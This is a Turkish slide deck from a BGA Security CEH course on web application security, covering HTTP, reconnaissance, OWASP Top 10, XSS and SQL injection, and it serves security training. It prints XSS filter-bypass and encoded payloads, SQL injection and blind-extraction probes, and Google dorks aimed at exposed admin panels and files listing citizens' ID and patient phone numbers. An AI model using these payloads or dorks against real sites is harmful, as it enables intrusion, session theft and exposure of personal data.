2. @BGASecurity
BGA Bilgi Güvenliği A.Ş
BGA Security Hakkında
Siber güvenlik dünyasına yönelik, yenilikçi
profesyonel çözümleri ile katkıda bulunmak
amacı ile 2008 yılında kurulan BGA Bilgi
Güvenliği A.Ş. stratejik siber güvenlik
danışmanlığı ve güvenlik eğitimleri konularında
büyük ölçekli çok sayıda kuruma hizmet
vermektedir.
Gerçekleştirdiği vizyoner danışmanlık projeleri
ve nitelikli eğitimleri ile sektörde saygın bir yer
kazanan BGA Bilgi Güvenliği, kurulduğu günden
bugüne kadar alanında lider finans, enerji,
telekom ve kamu kuruluşları ile 1.000'den fazla
eğitim ve danışmanlık projelerine imza
atmıştır.
ARGE
EĞİTİM
MSSP
PENTEST
SOME / SOC
SECOPS
BGA | Hakkında
4. BGA | CEH
@BGASecurity
Bölüm Amacı
Web uygulamalarının çalışma mantığı ve güvenlik açısından
incelenmesi
Web uygulamalarına “hacker” bakışı
Web uygulamalarına yönelik basit ama etkili saldırı tekniklerini
öğrenme
Detay web uygulama güvenliği için:
Web Application Pentest Eğitimi
5. BGA | CEH
@BGASecurity
Bölüm İçeriği
Web uygulamaları ve HTTP
Web uygulamaları güvenliği
Web uygulama testlerinde bilgi toplama
İstemci tarafı kontrollerin aşılması
OWASP Top 10 güvenlik açıklığı
SQLi, XSS, CSRF, ForcefulBrowsing, LFI/RFI ...
Web uygulama güvenlik test araçları
Web sunuculara yönelik DOS saldırıları
WAF/IPS ve atlatma teknikleri
6. BGA | CEH
@BGASecurity
Web Uygulamaları
WEB uygulamaları günümüzü ve geleceğimizi kuşatmış durumda:
Müzik dinleme:last.fm, fizy.org
Ofis Belgeleri için:Google Docs
Resim işleme amaçlı:Google Picasa, flickr
(A)Sosyal Hayat: Facebook, Friendfeed, twitter
Alışveriş, Para işleri:Paypal.com, online alışveriş siteleri
İletişim:E-posta->Webmail hizmetleri
Yakın gelecekte web tabanlı işletim sistemleri kullanılmaya
başlanacak.
7. BGA | CEH
@BGASecurity
Web Uygulama Bileşenleri
Statik sayfalar
HTML
Dinamik sayfalar
CGI, ASP, PHP, Perl, Asp.net, JSP
Veritabanı
Mysql, MsSQL, Oracle, Sybase
Web servisleri
Kullanıcı browserları
Web uygulamalarında çıkan açıklar
sadece uygulamayı değil bağlı
bulunduğu ekosistemi de etkiler.
9. BGA | CEH
@BGASecurity
Web Uygulamalarının Güvensizliği
Web uygulamalarında amaç herkese hizmet verebilmektir
Uygulama geliştirme için bir standart henüz yerleşmediği için
yazılımı geliştirenler kolay hata yapabilir
Web uygulamalarında yapılan hatalar daha fazla dikkat çeker ve
saldırıya açıktır
Birilerinin sizi takip etmesine gerek yok
Google üzerinden aramalarla sayfalarınız hacklenebilir
10. BGA | CEH
@BGASecurity
Web Uygulamalarının Güvensizliği-II
Koruma amaçlı geliştirilen yazılımlar stabil değil
Fazla müdahele ister(WAF sistemleri)
Geliştirme aşamalarında güvenlik önemsenmiyor
Kalite ve güvenlin en sonda gelir, öncelikli iş kısa sürede işlevsel bir
uygulamanın ortaya çıkması.
13. BGA | CEH
@BGASecurity
Kavramlar: Hacking
Web uygulamaları kullanılarak veri
çalma, sistemlere sızma şekli
Daha fazla bilgi ve beceri ister
Sadece web güvenliği değil,
Linux/Windows bilgisine de ihtiyaç
vardır
Sonuçları daha maliyetli olur
Kevinmitnick.com
14. BGA | CEH
@BGASecurity
Kavramlar: Root’lama(Rooting)
Web sunucudaki bri açıklıktan faydalanarak, Linux sistemlerde root olma
Linux kernelindeki local privilege esc. Exploitleri kullanılır
16. BGA | CEH
@BGASecurity
WEB Protokolü: HTTP
HTTP(Hypertext Transfer Protocol, OSI modelinde uygulama
katmanında yer alan iletişim protokolüdür.
Günümüzde zamanımızın çoğunu geçirdiğimiz, sanal dünyada
en sık kullanılan protokoldür. (%96 civarında)
17. BGA | CEH
@BGASecurity
HTTP Nasıl Çalışır?
Http’nin istemci-sunucu mantığıyla
çalışan basit bir yapısı vardır:
Önce TCP bağlantısı açılır
kullanıcı istek(HTTP isteği) gönderir
sunucu da buna uygun cevap döner
TCP bağlantısı kapatılır.
İstemci tarafından gönderilen istekler
birbirinden bağımsızdır ve normalde
her HTTP isteği için bir TCP bağlantısı
gerekir.
18. BGA | CEH
@BGASecurity
Http Başlık Bilgileri
HTTP’de bağlantıyı yöneten başlık bilgileri ve bağlantının taşıdığı veri kısmı vardır
HTTP başlık bilgisi istek ve cevaplarda farklı olabilir
Host , User-Agent , Cookie , X-Forwarded-For , özel başlık bilgiler vs. gibi başlık
bilgileri testler esnasında incelenmesi gereken girdi noktalarıdır.
19. BGA | CEH
@BGASecurity
X-Forwarded-For Başlık Bilgisi
HTTP üzerinden IP Spoofing(!)
Bu başlık bilgisine göre izinli sistemlerin atlatılabilmesine olanak verecektir.
Uygulamalarda IP kısıtlama özelliğinin atlatılabilmesi.
20. BGA | CEH
@BGASecurity
Referrer Başlık Bilgisi
Bir linke hangi linkten gelindiğini belirten HTTP başlığı
İstemci tarafından kontrol edilebildiği için güvensizdir,
değiştirilebilir
21. BGA | CEH
@BGASecurity
HTTP Metodları
Web uygulamalarında, istemci sunucu arasında istek - cevap şeklinde bir iletişim
gerçekleştir.
Http metodları sunucu tarafına yapılan isteğin amacını belirler:
Sık kullanılan istek türleri:
GET
POST
HEAD
OPTIONS
TRACE
PUT
DELETE
CONNECT
Bu istek türlerinin bir kısmı tehlikeli kullanıma sahiptir
22. BGA | CEH
@BGASecurity
HTTP GET İstek Tipi
Hedef siteden ilgili dosyayı indirme/izleme amaçlı kullanılır.
GET kullanılarak yapılan istekler sunucu loglarında gözükecektir.
Browser tarafından önbelleğe alındığı için kullanıcı adı parola gibi hassas
bilgiler GET istekleri ile gönderilmemeli
En fazla 7607 karekter olabilmektedir.
23. BGA | CEH
@BGASecurity
HTTP POST İstek tipi
Taşıdığı parametreler web tarayıcıların geçmiş kısmında kaydedilmez.
En fazla 8Mb olabilmektedir (değiştirilebilir)
Sunucu loglarında gözükmez
Modsecurity gibi bileşenlerle görülebilir
24. BGA | CEH
@BGASecurity
HTTP PUT İstek Tipi
Hedef sisteme FTP
benzeri dosya yüklemek
için kullanılan metod.
Genellikle tehlikeli bir
metod olduğu için açık
olmaz.
25. BGA | CEH
@BGASecurity
WebDAV
WebDAV (Web-based Distributed Authoring and Versioning )
Web üzerinden HTTP kullanılarak gerçekleştirilen dosya yönetim
standardıdır.
HTTP 1.1 protokolüne bazı eklentiler ile web dizinlerini yazılabilir
hale getirir.
Versiyon bilgilerini tutar.
Paylaşımda bulunanlar için not v.s tutma imkanı sağlar.
25
26. BGA | CEH
@BGASecurity
WebDAV Denetimi
HTTP kullanılarak Internet üzerinden gerçekleştirilen dosya
yönetim standardıdır.
HTTP standardının belirlediği metotlara ek olarak;
PROPFIND, PROPPATCH
LOCK
MOVE, COPY
...
27. BGA | CEH
@BGASecurity
WebDAV Denetimi
Sunucu üzerindeki dizinler WebDAV desteği için kontrol edilmelidir.
OPTIONS /webdav/ HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 12 Mar 2010 09:21:23 GMT
DAV: 1,2
DAV: <http://apache.org/dav/propset/fs/1>
Allow:OPTIONS,GET,POST,DELETE,PROPFIND,PROPPATCH
Content-Length: 0
28. BGA | CEH
@BGASecurity
WebDAV – Apache Yapılandırma
<Directory /var/www/webdav>
Options Indexes MultiViews
Order allow,deny
allow from all
</Directory>
Alias /webdav /var/www/webdav
<Location /webdav>
DAV On
</Location>
35. BGA | CEH
@BGASecurity
Web Sunucu Keşfi
Amaç:Web sunucu ve üzerinde çalışan uygulamalar hakkında bilgi toplama
Web sunucu/uygulama yazılımlarındaki açıklıkların bilinmesi exploitation
aşamasında yardımcı olur
IIS 6’da çıkan açıklık, PHp 4.x sürümlerindeki açıklıklar
Hangi işletim sistemi, hangi sürümü, hangi web sunucusu yazılımı, hangi
modüllerin kurulu olduğu vs bilgileri güvenlik testleri öncesi bulunmalıdır
Sık kullanılan web sunucu keşif yazılımları
Httprint, nmap –sV –p 80, Netcraft
36. BGA | CEH
@BGASecurity
Web Uygulama Sunucu Keşif Araçları
Netcraft.com
Nmap –sV bgabank.com –p 80
httprint
37. BGA | CEH
@BGASecurity
Web Uygulama Sürüm ve Eklenti Belirleme
http://www.morningstarsecurity.com/research/whatweb
38. BGA | CEH
@BGASecurity
Hata Mesajlarından Bilgi Toplama
Web sayfalarının vereceği hata mesajlarından hangi uygulamaların kurulduğu, hangi
dizinlerin kullanıldığı, hangi işletim sistemine sahip olduğu gibi bilgiler alınabilir
Web sunucu hataları(Apache, IIS)
Uygulama sunucu hataları(php, asp)
Bazı durumlarda hatalı yapılandırma nedeniyle veritabanı bağlantı bilgileri de elde
edilebilir.
Web sunucu haricinde kurulu olan uygulamaya beklenmeyen türde istekler göndererek
hata durumları gözlemlenmelidir.
Apache ve IIS gibi yoğun tercih edilen web sunucuları hata mesajlarını göstermeme
özelliğine sahiptir.
39. BGA | CEH
@BGASecurity
Trace.axd Üzerinden Oturum Alma – I
Google üzerinden trace.axd bulmak için
filetype:axd inurl:Trace.axd?id=0
40. BGA | CEH
@BGASecurity
Trace.axd Üzerinden Oturum Alma – II
Elde edilen session_id değeri cookie manager ile browsera import edilerek
sistem üzerinde admin oturumu elde edilmiştir.
41. BGA | CEH
@BGASecurity
Trace.axd Üzerinden Oturum Alma – III
Session_Id değeri import edildikten sonra admin panele erişilmiştir.
43. BGA | CEH
@BGASecurity
Robots.txt ile Hassas Dizin/Dosya Keşfi
Robots.txt üzerinden google tarafından indexlenmesi istenmeyen dizinler girilir. Bu
dosyaya erişilmesi durumunda hassas dizinler tespit edilebilir.
44. BGA | CEH
@BGASecurity
Google Hacking
Google denetimler için bilgi toplama için kullanılan en popüler arama motorudur.
Google’ın sağladığı ileri seviye arama yöntemleri kullanılarak yapılan güvenlik
aktivitelerine ise Google Hacking denmektedir.
46. BGA | CEH
@BGASecurity
Google Zafiyet Arama - Örnek
Açık phpmyadmin MYSQL yönetim arabirimleri
Açık PhpNuke portal yönetim arabirimleri
intitle:phpMyAdmin "Welcome to phpMyAdmin" "running on * as root@*"
inurl:admin.php "There are no Administrators"
48. BGA | CEH
@BGASecurity
Google Bilgi Toplama - Örnek
Hassas bilgiler toplamak için Google anahtar kelimeleri kullanılabilir;
filetype:xls filetype:pdf tc kimlik no “üye listesi”
filetype:pdf cep no “hasta listesi”
49. BGA | CEH
@BGASecurity
Alt Dizin / Dosya Keşfi
Hedef sistem üzerinde unutulmuş, gereksiz olarak bırakılmış ya
da eksik/yanlış yapılandırma sonucu kalmış dosya/dizinleri
bulma
Yüzlerce istek gönderip istekler için 302, 200 cevapları
dönüyorsa dizin/dosya var demektir.
Özellikle yönetim sayfalarının bulunması için sık
kullanılır(/admin, /login.asp, yonet.php vs)
Owasp Dirbuster, AdminFinder araçları
50. BGA | CEH
@BGASecurity
DirBuster
Sadece crawl yapılarak bütün girdi noktalarının bulunması
mümkün değildir;
gizlenmiş
gösterilmek amacı ile oluşturulmamış
dizin/sayfalar sözlük ve kaba kuvvet denemeleri yardımı ile
bulunmalıdır.
DirBuster; Multi-thread çalışabilen (hızlı) bir Java desktop
uygulamasıdır. Bir web uygulamasında gizlenmiş sayfaları,
dizinleri bulmaya çalışır.
51. BGA | CEH
@BGASecurity
DirBuster
Hedef URL
Denenecek
dizin/sayfa
listesi
Denenecek
sayfa
uzantısı
Hem dizinler
hem sayfalar
denenecek
Bulunan dizinlerde de
liste denenecek
Kullanılacak
thread
sayısı
52. BGA | CEH
@BGASecurity
Wfuzz - Fuzzing
Subdomain tespiti için kullanılabilir
Alt dizin tespiti için kullanılabilir
IDOR istismarı için kullanılabilir.
Teknik LFI,Sqli,XSS benzeri açıklıkların tespitinde kullanılabilir.
wfuzz -c --hc 404,XXX -z file,urls.txt -z file,common.txt
FUZZ/FUZ2Z
wfuzz -c --hc 404,XXX –z range,1-1000 –z
http://test.com/index.asp?id=FUZZ
53. BGA | CEH
@BGASecurity
Web Güvenlik Testi Araçları
Web uygulama güvenliğinde sık kullanılan araçlar:
Burp suite
Owasp ZAP
Firefox eklentileri (Live http header, tamper data ,firebug)
Sqlmap , nmap , metasploit
Otomatize test araçları (Netsparker,Acunetix,IBM
Appscan,W3af vs.)
54. BGA | CEH
@BGASecurity
Web Proxy Yazılımları
Web uygulamaları testlerinin vazgeçilmez araçları
Browser üzerinden yapılamayacak istekleri gerçekleştirmek veistemci
tarafında yapılan güvenliği(javascript, hidden fields)atlatmak için
kullanılır
HTTP başlıklarına ait tüm değerler istenildiği gibi değiştirilebilir
Paros, Burp Proxy, Web Scarab, Firefox HTTP Tamper
55. BGA | CEH
@BGASecurity
Firefox TamperData/LiveHeaders
Güvenlik testlerinde firefox eklentileri kullanılabilir.
Firecat (Firefox Extension Framework) incelenebilir.
Tamper Data
Live Headers
56. BGA | CEH
@BGASecurity
Owasp ZAP
Client server arasına girerek gelen giden istekleri görebilir, replay
edilebilir ve otomatize taramlar gerçekleştirilebilir.
57. BGA | CEH
@BGASecurity
Burpsuite Proxy
Owasp zap benzeri bir web proxy aracıdır.
Ticari sürümü de bulunmaktadır.
Alternatiflerine göre daha esnek kullanıma sahiptir
58. BGA | CEH
@BGASecurity
FoxyProxy ile proxy ayarları
Birden fazla profil oluşturularak farklı portlar üzerinde web proxy çalıştıma için hızlı
bir firefox eklentisi.
Firefox proxyler araı geçiş yaparken her seferinde ayarlar menüsünde işlem
yapmaya gerek bıraktırmaz.
59. BGA | CEH
@BGASecurity
OWASP Top 10 Açıkları
Amacı: OWASP katılımcıları tarafından ilgili zaman dilimindeki en sık
karşılaşılan güvenlik açıklıklarının listesi
60. BGA | CEH
@BGASecurity
Girdi Denetimi
Uygulama kullanmadan önce bütün güvensiz verilerin doğru bir
şekilde denetlenmesidir.
Bir çok saldırı çeşidinin temelinde yetersiz girdi kontrolü vardır;
Cross Site Scripting
SQL Injection
Remote / Local File Inclusion
...
61. BGA | CEH
@BGASecurity
1. Normalizasyon (Canonicalization)
Bir dizginin en basit, en temel haline çevrilmesidir.
Örnek, aşağıdaki iki yol aynı dosyayı işaret etmektedir;
/../../etc/passwd
/etc/passwd
Karmaşık ve kritik bir işlemdir.
62. BGA | CEH
@BGASecurity
2. Beyaz Liste Girdi Denetimi
Sadece iyi karakter veya karakter dizgilerinin kabul
edilmesidir.
Güvenli ve tavsiye edilen girdi denetimidir.
Örnekler;
Kredi kartı girdi alanının geçerli kredi kartı numarası olup olmadığının
kontrolü
Eposta adresi girdi alanının geçerli eposta olup olmadığının kontrolü
63. BGA | CEH
@BGASecurity
3. Kara Liste Girdi Denetimi
Bilinen kötü karakter veya karakter dizgilerinin reddedilmesidir.
Çok kullanılan ama güvensiz girdi denetimidir.
Örnekler;
<script> geçen girdilerin reddedilmesi
or 1=1 -- geçen girdilerin reddedilmesi
64. BGA | CEH
@BGASecurity
4. Temizleme İşlemi (Sanitize)
Girdinin kabul edilebilir bir formata çevrilmesidir.
Beyaz liste mantığı ile sanitize
Örn: Telefon numarası içinde geçen sayı, olmayan karakterlerin silinmesi
Kara liste mantığı ile sanitize
Örn: Adres girdisinin içindeki bütün tek tırnak karakterlerinin silinmesi
65. BGA | CEH
@BGASecurity
5. Encoding İşlemi
Girdi içindeki özel karakterlerin başka bir formata değiştirilmesidir.
Amaç, hedef yorumlayıcı için özel karakterlerin kodlama işlemi
sonrası önemlerini yitirmiş olmalarıdır.
Örnek;
HTML kodlama
URL kodlama
66. BGA | CEH
@BGASecurity
6. Escape İşlemi
Yorumlayıcıya gitmeden gerçekleştirilen karakter format
değişikliğidir.
Çoğu durumda kodlama ile aynı anlamdadır.
Örnek;
Oracle veritabanında çalışacak SQL sorgularında tek tırnak
karakterlerinin iki tek tırnak ile değiştirilmesiyle, sorgu yapısının
değiştirilmesi engellenebilir.
68. BGA | CEH
@BGASecurity
Cross Site Scripting - XSS
Html/dhtml/css veya javascript kodunun izinsiz olarak
kurbanın tarayıcısında çalıştırılmasıdır.
Üç genel XSS çeşidi mevcuttur;
Reflected
Stored
DOM Based
69. BGA | CEH
@BGASecurity
Reflected XSS
Saldırganın gönderdiği XSS payloadu veritabanında tutulmaz.
İstismar edilebilmesi için kurbanın bir linke ziyaret etmesi gerekir. Sosyal
mühendislik gerektirir.
Cookie bilgisi ile oturum çalma, kullanıcı browserinda yetkisiz kod çalıştırma vs.
Blacklist/whitelist ve encoding yöntemleri ile engellenebilir.
70. BGA | CEH
@BGASecurity
Stored XSS
Saldırganın hedef sunucuya gönderdiği zararlı script doğrudan
database kaydedilir. Ve bu kodun yansıtıldığı sayfaları ziyaret eden
kullanıcı browserinda bu kod çalşır.
Linkedin üzerinde kullanıcı adı bölümünde XSS olsa (!)
Kaydedilen datanın sayfaya döndürülmesi esnasında herhangi bir
decoding yöntemi kullanılmamasından kaynaklanır.
Html encode az da olsa başarılı bir atlatma olabilir.
71. BGA | CEH
@BGASecurity
Stored XSS - II
Reflected XSS göre daha tehlikeli ve istismarı kolaydır. Sosyal müh.
Yapmaya gerek yok.
Worm tarzında saldırılar (kendisini her ziyaret edeni arkadaş olarak
ekleme vs.), zararlı bulaştırma, defacement vs. yapılabilir.
73. BGA | CEH
@BGASecurity
DOM Based XSS
Client tarafındaki yanlış yazılmış javascript’lerin sebep olduğu kullanıcı girdisini
doğrudan filtrelemeden alıp yorumlayan bölümlerde mevcuttur.
Diğer XSS’lerde hata asp,aspx,php gibi sunucu tarafındaki kodlamadadır, DOM
based için bu client tarafındaki javascriptdedir.
Reflected XSS oldukça benzer, istismarı için sosyal müh. Benzeri saldırılar yapmak
gerekir.
79. BGA | CEH
@BGASecurity
XSS - Neden Olduğu Problemler
Bilgi Hırsızlığı
Oturum Korsanlığı
Clipboard Veri Çalma, Tuş Yakalama, Ekran Çalma
İçerik Değişikliği (Defacement)
Geçmiş Tarama, Port Tarama
Dahili IP Çalma, Web Spidering, XSS Botnet
Açıklık Tarama, Worm
80. BGA | CEH
@BGASecurity
XSS - Temel Test Tekniği - Analiz
1. XSS için denetlenecek parametre belirlenir
2. Bu parametreye abcde gibi basit bir değer verilerek istek yapılır
3. Cevap içerisinde abcde nerelerde geçiyor hesaplanır.
HTML
HTML Attribute
Javascript
URL
81. BGA | CEH
@BGASecurity
XSS - Temel Test Tekniği - Test
1. Analiz sonucu parametre değeri olarak uygun payload gönderilir
2. Cevabın içinde payload aranır,
3. Bulunduğunda sayfa içinde payload uygun kodlama işleminden
geçirilmemiş ise XSS güvenlik zafiyetinden bahsedilir.
85. BGA | CEH
@BGASecurity
Owasp Xenotix XSS Test Framework
• 1600’a yakın XSS payload’ı bünyesinde barındıran ve bunları elle/otomatik bir
şekilde hedef alanlarda (GET/POST) deneme imkanı sunan araç.
• Gelişmiş XSS istismar eklentilerine sahiptir.
86. BGA | CEH
@BGASecurity
Netsparker/Acunetix XSS Testleri
Acunetix ve Netsparker web güvenlik tarama yazılımlarının deneme
sürümleri (Netsparker icin Cummunity Edition bulunmaktadır) XSS
zafiyetlerini başarılı bir şekilde tespit edebilmektedir.
87. BGA | CEH
@BGASecurity
XSS Engelleme
Girdi denetiminde pozitif güvenlik modeli uygulama
Microsoft AntiXSS framework kullanımı
Oturum çerezlerinde http-only özelliğinin aktif edilmesi
HttpOnly olarak işaretlenmiş çerezler, istemci tarafındaki herhangi bir uygulama
tarafından erişilemezler. Bu durumda web uygulamasında XSS açığı bulunsa dahi
saldırganlar sizin çerez bilgilerinize erişemeyeceklerdir.
Php.ini ‘den session.cookie_httponly=1
XSS Engelleme amaçlı OWASP kaynakları:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
90. BGA | CEH
@BGASecurity
XSS için Güvenlik Sistemlerini Atlatma
Script tag’i bloklanmış durumlarda
<SCript>alert(1)</SCript>
<scscriptript>alert(1)</scscriptript>
Alert tag’I bloklanmış durumlarda
<script>prompt(1)</script>
<script>alalertert(document.cookie)</script>
91. BGA | CEH
@BGASecurity
XSS için Güvenlik Sistemlerini Atlatma
Tag kapatmaya izin vermeyen yerler için. </script> engelliyorsa!
<img src=ab onerror=prompt(1)>
< ve > bloklanmış yerlerde
“ onmouseover=prompt(1) ab=“
Girdinin aşağıdaki gibi bir alana(html attribute) set ediliyor olması
gerekiyor
<input type=text value=““ onmouseover=prompt(1) ab=“”>
92. BGA | CEH
@BGASecurity
XSS için Güvenlik Sistemlerini Atlatma
Tag açma için kullanılan < işaretinin izinli olduğu fakat >
işaretine izin verilmeyen yerlerde güvenlik sistemi
atlatma
<svg/onload=window.onerror=alert;throw/XSS/;//
93. BGA | CEH
@BGASecurity
Encoded XSS Paylodları ile Atlatma
Url Encoding ve Html Encoding en sık kullanılan
encoding türleridir.
Payload: "><script>alert(1)</script>
URL Encoded:
%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E
HTML Encoded:
"><script>alert(1)</script>
94. BGA | CEH
@BGASecurity
Double Encoded XSS Payloadları
2 defa URL encode işlemine tabi tutma gibi.
ASP.net uygulamalarda sıklıkla double encode paylodlar
iki kere decode edilbilmektedir.(Farklı yerlerde)
Payload: "><script>alert(1)</script>
Double URL Encoded Payload:
%2522%253E%253Cscript%253Ealert(1)%253C%252Fscript
%253E
97. BGA | CEH
@BGASecurity
İstemci Tabanlı Koruma Politikaları
Kullanıcı sayfaları gezerken bazı formlarda istemci taraflı
kontroller yapılabilir
İstemci taraflı kontroller istisnasız değiştirilebilir
Sık karşılaşılan istemci taraflı koruma örnekleri
Javascript ile yapılan koruma deneyimleri
▪ Login ekranlarında karekter/boyut kontrolü
Flash uygulamalarında yapılan kontroller ve korumalar
Kişisel proxyler kullanılarak istemci ile sunucu arasına
girerek değerler değiştirilebilir.
98. BGA | CEH
@BGASecurity
Hidden/Gizli Form Elemanları
HTML tag!ı
Kullanıcıya göstermeden kod üzerinden bazı işlemleri yapma
Sunucu tarafında hesaplanması gereken değerler hidden
alanlarda saklanırsa rahatlıkla değiştirilebilir
Kesinlikle bir değer saklama amaçlı kullanılmamalı!
101. BGA | CEH
@BGASecurity
Javascript Korumalarını Aşma
Javascript tamamen istemci tarafında(browser) çalışır
Javascript kullanılarak yapılacak engellemeler, önlemler
kişisel proxyler ve Firefox pluginleri kullanılarak (Tamper
Data) değiştirilebilir
102. BGA | CEH
@BGASecurity
User-Agent Kontrolünü Aşma
EFT Ücreti:2.5TL
WAP üzerinden yapılan EFT’lerde ücret
alınmıyor.
Firefox plugini kullanarak User-Agent
mobil cihaz gibi gösterilipWAP
sayfasından ücretsiz EFT işlemi yapılabilir
Nasıl engellenebilir?
103. BGA | CEH
@BGASecurity
SQL Injection Nedir?
SQL Injection;
Saldırganlar için en popüler,
Geliştiriciler için en bilindik,
İş sahipleri için en tehlikeli
Hedef veritabanında uygulama yolu ile yetkisiz
olarak sql sorgularının çalıştırılabilmesidir.
106. BGA | CEH
@BGASecurity
SQL Injection Kullanarak Neler Yapılabilir?
Hedef uygulamadaki veritabanı kullanıcısının yetkilerine göre
aşağıdaki işlemler gerçekleştirilebilir:
İşletim sisteminden dosya okunabilir
İşletim sistemine yeni bir dosya eklenip değiştirilebilir
Veritabanı tablo ve diğer detay bilgiler elde edilebilir
İşletim sisteminde komut çalıştırılabilir
Login panelindeki user/pass doğrulama aşaması atlatılabilir.
107. BGA | CEH
@BGASecurity
Temel SQL Bilgisi
SQL Injection zafiyetlerinin %1’i Web, %99’u SQL bilgisi
gerektirmektedir.
Açıklığı bulmak ve bulduktan sonra istismar etmek tamamen
SQL bilgisi ile doğru orantılıdır.
Birden fazla SQL programında uzman olmak zordur, bunun
yerine Sqlmap gibi bu işleri bünyesinde barındıran yazılımlar
kullanılabilir.
108. BGA | CEH
@BGASecurity
Structured Query Language - SQL
Veritabanı sorgulama ve işlem yapma dilidir.
Üç sorgu sınıfı bulunmaktadır;
DDL, Data Definitin Language
▪ Create, Alter, Drop, Truncate
DML, Data Manipulation Language
▪ Select, Insert, Update, Delete
DCL, Data Control Language
▪ Grant, Revoke
110. BGA | CEH
@BGASecurity
SQL - CREATE
calisanlar
Ad Soyad Cinsiyet Yas Telefon
Kemal Kara E 27 534564
Zeynep Lale K 32 535454
Ali Bulut E 42 345345
CREATETABLE calisanlar (
AdVARCHAR(12),
SoyadVARCHAR(25),
Cinsiyet CHAR(1),
Yas NUMBER(3),
Telefon CHAR(6) );
111. BGA | CEH
@BGASecurity
SQL - SELECT
SELECT Ad, Soyad FROM calisanlar
WHEREYas > 30;
calisanlar
Ad Soyad Cinsiyet Yas Telefon
Kemal Kara E 27 534564
Zeynep Lale K 32 535454
Ali Bulut E 42 345345
Zeynep Lale
Ali Bulut
Sonuç:
112. BGA | CEH
@BGASecurity
SQL - INSERT
calisanlar
Ad Soyad Cinsiyet Yas Telefon
Zeynep Lale K 32 535454
Ali Bulut E 42 345345
INSERT INTO calisanlarVALUES
(“Sinan”, “Ordu”, “E”, “19”,
“454321”);
113. BGA | CEH
@BGASecurity
SQL - Mantıksal İfadeler
Mantıksal İfade Operatörleri Değil
Ve Veya
Operatör Açıklama
&&, &, and Ve
||, |, or Ya da
!, not Değil
İfade1 İfade2 İfade1 && ifade2
Doğru Doğru Doğru
Doğru Yanlış Yanlış
Yanlış Doğru Yanlış
Yanlış Yanlış Yanlış
İfade !(İfade) - Değili
Doğru Yanlış
Yanlış Doğru
İfade1 İfade2 İfade1 || ifade2
Doğru Doğru Doğru
Doğru Yanlış Doğru
Yanlış Doğru Doğru
Yanlış Yanlış Yanlış
114. BGA | CEH
@BGASecurity
SQL Injection - Senaryo
SELECT * FROM users WHERE id=$id;
SELECT * FROM users WHERE id=100
SELECT * FROM users WHERE id=100 OR 2>1
Dinamik bir SQL sorgusu
Normal bir değişken değeri
Anormal bir değişken değeri: SQL Enjeksiyonu
115. BGA | CEH
@BGASecurity
SQL Injection Çeşitleri
Olma şeklinden
Integer
String
Saldırı Perspektifinden
Kör (Blind)
Zaman Tabanlı
Union
Hata Tabanlı
Out of Band
116. BGA | CEH
@BGASecurity
Integer SQL Injection - Test Teknikleri
/urundetay.aspx?id=5
Ürün Detayı
LedTV
Orijinal Cevap
select * from products where id=5
117. BGA | CEH
@BGASecurity
Integer SQL Injection - Test Teknikleri
/urundetay.aspx?id=5’
HATA SAYFASI
select * from products where id=5’
118. BGA | CEH
@BGASecurity
Integer SQL Injection - Test Teknikleri
/urundetay.aspx?id=5 waitfor delay ‘00:00:05’ --
select * from products where id=5 waitfor delay ‘00:00:05’ --
Ürün Detayı
LedTV
Orijinal Cevap 5 sn gecikmeli
119. BGA | CEH
@BGASecurity
Integer SQL Injection - Test Teknikleri
/urundetay.aspx?id=5
select * from products where id=5
Ürün Detayı
LedTV
Orijinal Cevap
/urundetay.aspx?id=5 and 5=5
select * from products where id=5 and 5=5
HATA SAYFASI
/urundetay.aspx?id=5 and 5=6
Ürün Detayı
LedTV
Orijinal Cevap
select * from products where id=5 and 5=6
120. BGA | CEH
@BGASecurity
Integer SQL Enjeksiyonu – Manuel Test Teknikleri
?id=5
?id=5’
?id=5 or 5=5
?id=5 and 5=5
?id=5 and 5=6
?id=5;--testdata
?id=5 waitfor delay ‘00:00:05’ --
121. BGA | CEH
@BGASecurity
String SQL Injection - Test Teknikleri
/goster.do?isim=muro
Kullanıcı Detayı
Muro
Orijinal Cevap
select * from users where name=‘muro’
122. BGA | CEH
@BGASecurity
String SQL Injection - Test Teknikleri
HATA SAYFASI
/goster.do?isim=muro’
select * from users where name=‘muro’’
123. BGA | CEH
@BGASecurity
String SQL Injection - Test Teknikleri
Kullanıcı Detayı
Muro
Orijinal Cevap 5 sn gecikmeli
/goster.do?isim=muro’ and SLEEP(5) %23
select * from users where name=‘muro’ and SLEEP(5) # ’
124. BGA | CEH
@BGASecurity
String SQL Injection - Test Teknikleri
/goster.do?isim=muro
select * from users where name=‘muro’
Kullanıcı Detayı
Muro
Orijinal Cevap
/goster.do?isim=muro’ and ‘5’=‘5
select * from users where name=‘muro’ and ‘5’=‘5’
HATA SAYFASI
/goster.do?isim=muro’ and ‘5’=‘6
Kullanıcı Detayı
Muro
Orijinal Cevap
select * from users where name=‘muro’ and ‘5’=‘6’
125. BGA | CEH
@BGASecurity
Blind SQL Injection Teori - MySQL
select version()
5.0.51b-community-nt
Veritabanı
Versiyonu
select mid(version(), 7, 1)
b
Veritabanı
Versiyonunun
Yedinci Karakteri
select ord(mid(version(), 7, 1))
98
Versiyonun
Yedinci Karakterinin
ASCII Değeri
126. BGA | CEH
@BGASecurity
Kör SQL Injection
/urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 63
Ürün Detayı
LedTV
Orijinal Cevap
select * from products where id=5 and ord(mid(version(), 7, 1)) > 63
98
5.0.51b-community-nt
b
1 127
63
127. BGA | CEH
@BGASecurity
Kör SQL Injection
/urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 95
Ürün Detayı
LedTV
Orijinal Cevap
select * from products where id=5 and ord(mid(version(), 7, 1)) > 95
98
5.0.51b-community-nt
b
63 127
95
128. BGA | CEH
@BGASecurity
Kör SQL Injection
/urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 111
select * from products where id=5 and ord(mid(version(), 7, 1)) > 111
98
5.0.51b-community-nt
b
HATA SAYFASI
95 127
111
130. BGA | CEH
@BGASecurity
SqlMap
Açık kaynak kodlu gelişmiş Sqli istismar aracı
Python kullanılarak geliştirilmiştir.
Bilinen tüm SQLi tiplerini destekler
Kimlik doğrulama gerektiren ekranlar için cookie ile tarama
desteği sunar
Bilinen tüm veritabanı sistemlerini destekler
İşletim sistemlerinden shell alma, google’dan arama özellikleri
vardır.
WAF, IPS atlatma amaçlı tamper script yazımını destekler.
132. BGA | CEH
@BGASecurity
